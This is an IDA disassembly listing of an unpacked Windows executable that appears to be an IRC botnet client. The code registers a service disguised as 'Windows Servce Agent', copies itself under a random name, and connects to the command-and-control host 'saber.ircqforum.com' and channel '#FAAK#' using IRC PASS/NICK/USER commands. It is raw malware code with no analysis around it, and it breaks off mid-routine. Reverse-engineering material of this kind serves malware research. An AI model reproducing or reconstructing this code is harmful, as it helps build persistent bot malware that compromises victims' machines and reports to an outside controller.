;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	69A4B074676E177EEAF33D2986F6DB3B

; File Name   :	u:\work\69a4b074676e177eeaf33d2986f6db3b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF58
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAFC8
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF08

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF80
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEEC
		call	dword_4CB03C
		call	sub_40B2BF
		call	dword_4CAEFC
		call	dword_4CAEFC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D158
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 26802A6h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D150
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACE0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACE4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB050
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 26A07C6h
		nop
		push	eax
		call	near ptr 26A072Eh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAF14
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0589h
		push	eax
		nop
		call	near ptr 26802A6h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293F4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26A0480h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0395h

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2690DF2h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26904AEh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0395h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D158
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2690DA5h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2690805h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293E0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2680000h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 26904AEh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAEFC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB2C4, 2
		jle	short loc_401562
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A072Eh
		push	esi
		nop
		call	near ptr 2670909h
		mov	eax, dword_4DB2C8
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26904AEh
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+8]
		nop
		call	near ptr 26906F7h

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB074, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D160
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_4293A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2690DF2h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429360
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429334
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2690DF2h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_429300
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		mov	dword_4CAE58, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD6C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CADAC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE40, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACE8
		mov	dword_4CAE54, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE54, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26904AEh
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAEFC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEF8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEEC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB03C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26904AEh
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293FC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB03C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE50, bl
		jz	short loc_40199A
		push	offset byte_4CAE50
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB03C
		push	1388h
		call	near ptr 26904AEh
		nop

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26904AEh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
